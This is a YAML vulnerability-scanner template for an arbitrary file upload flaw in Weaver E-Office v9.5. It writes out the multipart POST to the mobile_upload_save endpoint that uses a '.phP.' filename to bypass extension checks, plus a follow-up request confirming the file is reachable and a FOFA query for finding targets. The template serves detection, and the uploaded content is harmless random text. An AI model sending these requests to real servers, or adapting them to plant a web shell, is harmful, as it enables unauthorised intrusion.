id: eoffice-mobile-upload-save-fileupload

info:
  name: 泛微 E-Office v9.5 mobile_upload_save 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |-
    weaver E-Office v9.5 file upload vulnerability official
    fofa: app="泛微-EOffice"
  reference:
    - https://github.com/sunyixuan1228/cve/blob/main/weaver.md?ref=www.ctfiot.com
    - https://www.ctfiot.com/116750.html
    - https://www.e-office.cn/
  tags: weaver,ecology,eoffice,fileupload
  created: 2023/07/11

set:
  filename: randomLowercase(4)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitForm{{rboundary}}
      body: |
        ------WebKitForm{{rboundary}}
        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP."
        Content-Type: image/jpeg

        {{randbody}}
        ------WebKitForm{{rboundary}}
        Content-Disposition: form-data; name="file"; filename=""
        Content-Type: application/octet-stream


        ------WebKitForm{{rboundary}}--
    expression: response.status == 200 && response.body.bcontains(bytes(filename + ".phP"))
    output:
      search: '"\",(?P<id>[0-9]{10}),\"".bsubmatch(response.body)'
      id: search["id"]
  r1:
    request:
      method: GET
      path: /attachment/{{id}}/{{filename}}.phP
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()